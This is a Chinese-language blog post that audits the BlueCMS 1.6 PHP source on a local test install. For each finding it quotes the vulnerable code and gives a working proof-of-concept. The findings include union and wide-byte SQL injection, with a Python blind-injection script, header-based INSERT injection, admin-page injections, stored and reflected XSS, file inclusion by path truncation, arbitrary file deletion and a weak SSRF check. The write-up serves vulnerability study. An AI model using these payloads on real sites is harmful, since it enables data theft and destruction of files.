bluecms代码审计

bluecms代码审计

前言

前几天审计的xhcms的漏洞太多太明显了,而且漏洞的利用方式都大概差不多,几乎没有什么过滤,今天准备学习审计一下bluecms,听说也是入门级的

漏洞扫描

Seay

1596784436097

300多个漏洞

rips

1596784474353

使用rips扫描得到66个漏洞

SQL注入漏洞

union查询注入

ad_js.php

首先是ad_js.php文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
define('IN_BLUE', true);
require_once dirname(__FILE__) . '/include/common.inc.php';

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
$ad_content = $ad['content'];
}

其传入的$ad_id为经过过滤,查看一下getone方法,其在/include/mysql.class.php文件中

1
2
3
4
5
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}

mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有

该函数为一个执行sql语句的函数,存在sql注入,但是去执行的时候发现单引号被转译了,被转译的原因为其包含了/include/common.inc.php文件

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

include/common.fun.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}

addslashes函数会将一些特殊字符添加反斜杠进行转译。但是仔细一看,$ad_id参数并未被引号包裹,所以该函数不起任何作用

复现

访问http://127.0.0.1/bulecms1.6/ad_js.php?ad_id=1,输入单引号报错

1596785617312

使用联合查询,当sql语句正确时不显示,语句错误时报错,在网页源码中可看到回显

1
view-source:http://127.0.0.1/bulecms1.6/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()

1596786872646

宽字节注入

user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
elseif($act == 'index_login'){
$user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';
$pwd = !empty($_REQUEST['pwd']) ? trim($_REQUEST['pwd']) : '';
$remember = isset($_REQUEST['remember']) ? intval($_REQUEST['remember']) : 0;
if($user_name == ''){
showmsg('用户名不能为空');
}
if($pwd == ''){
showmsg('密码不能为空');
}
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$user_name'");
if($row['num'] == 1){
showmsg('系统用户组不能从前台登录');
}

在sql语句中user_name未经过严格过滤,可直接进行注入,但是由于会将单引号等特殊符号进行转译,所以可进行宽字节注入
1596845940416

1596845964921

根据其回显不同,可进行bool盲注

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
result = ""
url = "http://xxxxxxxxxx/user.php?act=index_login"
for i in range(1,100):
high = 128
low = 32
mid = (high + low) // 2
while high>low:
#获取数据库名
payload = "1%df' or ascii(substr(database(),"+str(i)+",1))>"+str(mid)+"%23"
data = {
"user_name" : payload,
"pwd" : "2",
}
print(data)
print(url)
res = requests.post(url = url , data = data)

print(res)
if '系统用户组不能从前台登录' in res.text:
low = mid+1
mid = (low+high) // 2
else:
high = mid
mid = (low+high) // 2
result+=chr(mid)
print(result)

XFF注入(INSERT注入)

/include/common.inc.php

/include/common.inc.php文件中,可以发现其并未对$_SERVER进行过滤

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

所以使用X-Forwarded-For或者CLIENT-IP可以伪装ip进行SQL注入

通过搜索可以发现在guest_book.php中存在有关ip的sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
elseif ($act == 'send')
{
$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$rid = intval($_POST['rid']);
$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
$content = nl2br($content);
if(empty($content))
{
showmsg('�������ݲ���Ϊ��');
}
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
showmsg('��ϲ�����Գɹ�', 'guest_book.php?page_id='.$_POST['page_id']);
}

在common.inc.php中$online_ip=getip()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
getip()

*/
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //��ȡ�ͻ����ô������������ʱ����ʵip ��ַ
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

可以使用X-Forwarded-For或者CLIENT-IP进行SQL注入

1596946094071
之后通过page_id访问在评论区可以看到结果

1596946112724

comment.php

comment.php中也存在getip(),同样可以使用insert注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
elseif($act == 'send')
{
if(empty($id))
{
return false;
}

$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$mood = intval($_POST['mood']);
$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';
$content = nl2br($content);
$type = intval($_POST['type']);
if(empty($content))
{
showmsg('�������ݲ���Ϊ��');
}
if($_CFG['comment_is_check'] == 0)
{
$is_check = 1;
}
else
{
$is_check = 0;
}

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);

payload:

1
Client-IP: 1','1'),('','1','2','1','6',(select version()),'1','1

拼接后的sql语句为

1
INSERT INTO table('comment') (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','1','2','1','6',(select database()),'1','1', '$is_check');

1596961976816

1596962039284

后台页面注入

/admin/user.php

1
2
3
4
5
6
7
8
elseif($act == 'edit')
{
$sql = "select * from ".table('user')." where user_id = ".$_GET['user_id'];
$user = $db->getone($sql);
$sexarr=array('0'=>'����','1'=>'��','2'=>'Ů');
template_assign(array('sexarr', 'user', 'act', 'current_act'), array($sexarr, $user, $act, '�༭��Ա��Ϣ'));
$smarty->display('user_info.htm');
}

其中user_id未做任何过滤,可直接进行注入

1
admin/user.php?act=edit&user_id=-1 union select 1,2,3,database(),5,6,7,8,9,10,11,12,user(),version(),15,16,17%23

1596962925022

/admin/attachment.php

1
2
3
4
5
6
7
8
elseif($_REQUEST['act'] == 'del')
{
$sql = "DELETE FROM ".table('attachment')." WHERE att_id = ".$_GET['att_id'];
if(!$db->query($sql)){
showmsg('ɾ���������Գ���', true);
}
showmsg('ɾ���������Գɹ�','attachment.php', true);
}

其中att_id直接拼接在SQL语句后面,未做任何过滤,存在sql注入

/admin/nav.php

1
2
3
4
5
6
7
8
elseif($act=='edit')
{
$sql = "select * from ".table('navigate')." where navid = ".$_GET['navid'];
$nav = $db->getone($sql);
$smarty->assign('nav',$nav);
$smarty->assign('act', $act );
$smarty->display('nav_info.htm');
}

直接拼接,未做过滤,存在注入
1597044799009

还有很多地方存在注入,原因大多是因为未过滤,利用方法都差不多

XSS漏洞

反射型xss

反射型xss有很多,几乎存在SQL注入的地方就存在反射型xss,这里只简单写几个

ad_js.php

ad_js.php文件中,其会将sql语句执行的结果进行输出,且无过滤,存在xss漏洞

1
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

1596787578492

存储型xss

user.php

在用户界面可以看到用户名邮箱等信息被输出,查看这几个地方的过滤情况

1
2
3
4
5
6
7
elseif($act == 'do_reg'){
$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
$pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
$pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
$from = !empty($from) ? base64_decode($from) : 'user.php';

发现几个输入点都只进行了trim过滤,所以存在存储型xss
用户名处由于长度限制不好利用,所以从邮箱入手
1597046285550

1597046300094

任意文件包含漏洞

user.php

1
2
3
4
5
6
7
8
9
10
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('�Բ�����û��ѡ��֧����ʽ');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}

这里可直接使用../和…[……]…来截断进行绕过

1
2
3
点号截断:
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

payload:

1
2
3
4
5
GET:
http://127.0.0.1/bluecms/user.php?act=pay

POST:
pay=../../2.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

1596804493234

任意文件删除

user.php

1
2
3
if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) {
@unlink(BLUE_ROOT.$_POST['lit_pic']);
}

其中lit_pic未做任何过滤,存在任意文件删除,还有一些其他参数如face_pic3也存在相同漏洞
payload

1
2
3
4
GET
http://127.0.0.1/bluecms/user.php?act=do_info_edit
POST
post_id=1&title=1&link_phone=123&link_man=1&lit_pic=2.php

SSRF

user.php

1
2
3
4
if (!empty($_POST['face_pic1'])){
if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
showmsg('只支持本站相对路径地址');
}

这里有一处if判断,对于strpos函数应该使用===来判断 因为0和false弱类型相等 这里过滤有问题

1597049045059

文章作者:CyzCc
最后更新:2020年09月13日 16:09:23
原始链接:https://cyzcc.vip/2020/08/04/bluecms/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------